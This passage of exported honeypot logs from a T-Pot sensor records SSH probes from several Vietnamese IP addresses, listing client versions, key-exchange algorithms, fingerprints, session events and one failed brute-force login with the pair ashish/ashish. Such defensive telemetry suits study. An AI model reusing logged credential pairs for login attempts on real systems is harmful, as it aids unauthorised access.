96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48628, "dest_port": 22, "timestamp": "2021-09-20T11:10:59.831664", "@timestamp": "2021-09-20T11:10:59.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25917	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:59.614374+03	2021-09-20 14:15:12.600646+03	{"_id": "bQbmAnwBvYTbRNuE7B0R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:48628 (192.168.176.2:22) [session: 6118bef1b387]", "session": "6118bef1b387", "@version": "1", "protocol": "ssh", "src_port": 48628, "dest_port": 22, "timestamp": "2021-09-20T11:10:59.614374Z", "@timestamp": "2021-09-20T11:10:59.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25918	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:59.617288+03	2021-09-20 14:15:12.602646+03	{"_id": "cAbmAnwBvYTbRNuE7B0R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6118bef1b387", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:59.617288Z", "@timestamp": "2021-09-20T11:10:59.617Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25919	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:11:05.969787+03	2021-09-20 14:15:12.603646+03	{"_id": "tQbnAnwBvYTbRNuEAh3x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35080, "dest_port": 22, "timestamp": "2021-09-20T11:11:05.969787", "@timestamp": "2021-09-20T11:11:05.969Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25920	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:05.736109+03	2021-09-20 14:15:12.604646+03	{"_id": "tgbnAnwBvYTbRNuEAx2G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:35080 (192.168.176.2:22) [session: 6091d7eb968b]", "session": "6091d7eb968b", "@version": "1", "protocol": "ssh", "src_port": 35080, "dest_port": 22, "timestamp": "2021-09-20T11:11:05.736109Z", "@timestamp": "2021-09-20T11:11:05.736Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25921	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:05.73902+03	2021-09-20 14:15:12.605646+03	{"_id": "uQbnAnwBvYTbRNuEAx2G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6091d7eb968b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:05.739020Z", "@timestamp": "2021-09-20T11:11:05.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25922	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:05.970065+03	2021-09-20 14:15:12.606646+03	{"_id": "ugbnAnwBvYTbRNuEAx2G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6091d7eb968b", "@version": "1", "timestamp": "2021-09-20T11:11:05.970065Z", "@timestamp": "2021-09-20T11:11:05.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25923	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:06.744665+03	2021-09-20 14:15:12.608646+03	{"_id": "uwbnAnwBvYTbRNuEBR29", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:11:02.132824+0000", "pkts_toclient": 12, "pkts_toserver": 19, "bytes_toclient": 2391, "bytes_toserver": 4214}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 21955541862104, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40212, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:11:06.744665Z", "@timestamp": "2021-09-20T11:11:06.744Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25924	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:07.447636+03	2021-09-20 14:15:12.609645+03	{"_id": "vAbnAnwBvYTbRNuEBx1u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [ashish/ashish] failed", "session": "6091d7eb968b", "@version": "1", "password": "ashish", "username": "ashish", "timestamp": "2021-09-20T11:11:07.447636Z", "@timestamp": "2021-09-20T11:11:07.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25925	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:09.068372+03	2021-09-20 14:15:12.610646+03	{"_id": "wwbnAnwBvYTbRNuEDx1B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:43462 (192.168.176.2:22) [session: 2ce7ec20b76a]", "session": "2ce7ec20b76a", "@version": "1", "protocol": "ssh", "src_port": 43462, "dest_port": 22, "timestamp": "2021-09-20T11:11:09.068372Z", "@timestamp": "2021-09-20T11:11:09.068Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25926	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:09.090611+03	2021-09-20 14:15:12.611646+03	{"_id": "wgbnAnwBvYTbRNuEDx1B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2ce7ec20b76a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:09.090611Z", "@timestamp": "2021-09-20T11:11:09.090Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25927	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:09.770784+03	2021-09-20 14:15:12.612646+03	{"_id": "1AbnAnwBvYTbRNuEEh2U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48518, "dest_port": 22, "timestamp": "2021-09-20T11:11:09.770784", "@timestamp": "2021-09-20T11:11:09.770Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25928	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:56.048981+03	2021-09-20 14:15:12.615646+03	{"_id": "QQbmAnwBvYTbRNuE3B1s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "1811f01b4e8c", "@version": "1", "duration": 7.453280687332153, "timestamp": "2021-09-20T11:10:56.048981Z", "@timestamp": "2021-09-20T11:10:56.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25929	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:56.091918+03	2021-09-20 14:15:12.616645+03	{"_id": "QgbmAnwBvYTbRNuE3B1s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "459e45d334af", "@version": "1", "duration": 4.568750858306885, "timestamp": "2021-09-20T11:10:56.091918Z", "@timestamp": "2021-09-20T11:10:56.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
